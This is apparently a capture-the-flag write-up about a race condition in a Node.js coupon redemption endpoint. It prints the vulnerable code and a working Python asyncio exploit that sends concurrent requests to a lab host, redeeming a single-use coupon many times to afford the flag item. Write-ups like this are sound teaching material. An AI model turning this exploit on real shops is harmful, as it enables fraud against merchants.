Introduction
Race conditions remain one of the most interesting vulnerabilities in web applications, especially in e-commerce systems. In this post, we'll explore a practical example of how race conditions can be exploited in coupon redemption systems, potentially leading to multiple redemptions of single-use coupons.
Understanding the Vulnerability
The vulnerability exists in a coupon redemption API endpoint (/api/coupons/apply
) where a critical race condition occurs between checking if a coupon has been used and actually marking it as used. Let's break down the vulnerable code:
router.post('/api/coupons/apply', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(async user => {
if (user === undefined) {
await db.registerUser(req.data.username);
user = { username: req.data.username, balance: 0.00, coupons: '' };
}
const { coupon_code } = req.body;
if (coupon_code) {
if (user.coupons.includes(coupon_code)) {
return res.status(401).send(response("This coupon is already redeemed!"));
}
return db.getCouponValue(coupon_code)
.then(coupon => {
if (coupon) {
return db.addBalance(user.username, coupon.value)
.then(() => {
db.setCoupon(user.username, coupon_code)
.then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`)))
})
.catch(() => res.send(response("Failed to redeem the coupon!")));
}
res.send(response("No such coupon exists!"));
})
}
return res.status(401).send(response("Missing required parameters!"));
});
});
The Race Condition Explained
The vulnerability occurs due to these key factors:
- Check-Then-Act Pattern: The code first checks if the coupon is used, then proceeds to apply it
- Asynchronous Operations: Multiple database operations happen sequentially
- No Transaction Control: The operations aren't wrapped in a database transaction
When multiple requests hit this endpoint simultaneously, they can all pass the initial check before any of them complete the coupon registration, leading to multiple successful redemptions.
The Purchase System
The application includes a purchase system where users can spend their balance:
router.post('/api/purchase', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(async user => {
if (user === undefined) {
await db.registerUser(req.data.username);
user = { username: req.data.username, balance: 0.00, coupons: '' };
}
const { item } = req.body;
if (item) {
return db.getProduct(item)
.then(product => {
if (product == undefined) return res.send(response("Invalid item code supplied!"));
if (product.price <= user.balance) {
newBalance = parseFloat(user.balance - product.price).toFixed(2);
return db.setBalance(req.data.username, newBalance)
.then(() => {
if (product.item_name == 'C8') return res.json({
flag: fs.readFileSync('/app/flag').toString(),
message: `Thank you for your order! $${newBalance} coupon credits left!`
})
res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`))
});
}
return res.status(403).send(response("Insufficient balance!"));
})
}
return res.status(401).send(response('Missing required parameters!'));
});
});
Crafting the Exploit
To exploit this race condition, we need to:
- Create multiple concurrent requests
- Time them to arrive simultaneously
- Handle the responses appropriately
Here's our exploit using Python's asyncio
and httpx
:
import httpx
import asyncio
import logging
url = "http://94.237.49.31:46852"
logging.basicConfig(level=logging.INFO)
async def apply_coupon(session):
async with httpx.AsyncClient() as client:
try:
response = await client.post(url + "/api/coupons/apply", json={"coupon_code": "HTB_100"}, cookies=session)
logging.info(response.text)
session.update(response.cookies)
except Exception as e:
logging.error(f"An error occurred: {e}")
async def main():
async with httpx.AsyncClient() as client:
# reset session and perform initial purchase
session = (await client.get(url + '/api/reset')).cookies
response = await client.post(url + "/api/purchase", json={"item": "C8"})
session.update(response.cookies)
logging.info(response.text)
# perform race condition
await asyncio.gather(*(apply_coupon(session) for _ in range(1, 20)))
logging.info("requests completed")
# perform purchase again
response = await client.post(url + "/api/purchase", json={"item": "C8"}, cookies=session)
logging.info(response.text)
asyncio.run(main())
In short
Race conditions in web applications can lead to serious vulnerabilities, especially in systems handling financial transactions or coupon redemptions. While they might be tricky to spot during development, understanding and testing for these conditions is crucial for building secure applications.
Remember: always implement proper synchronization mechanisms when dealing with critical state-changing operations in your applications.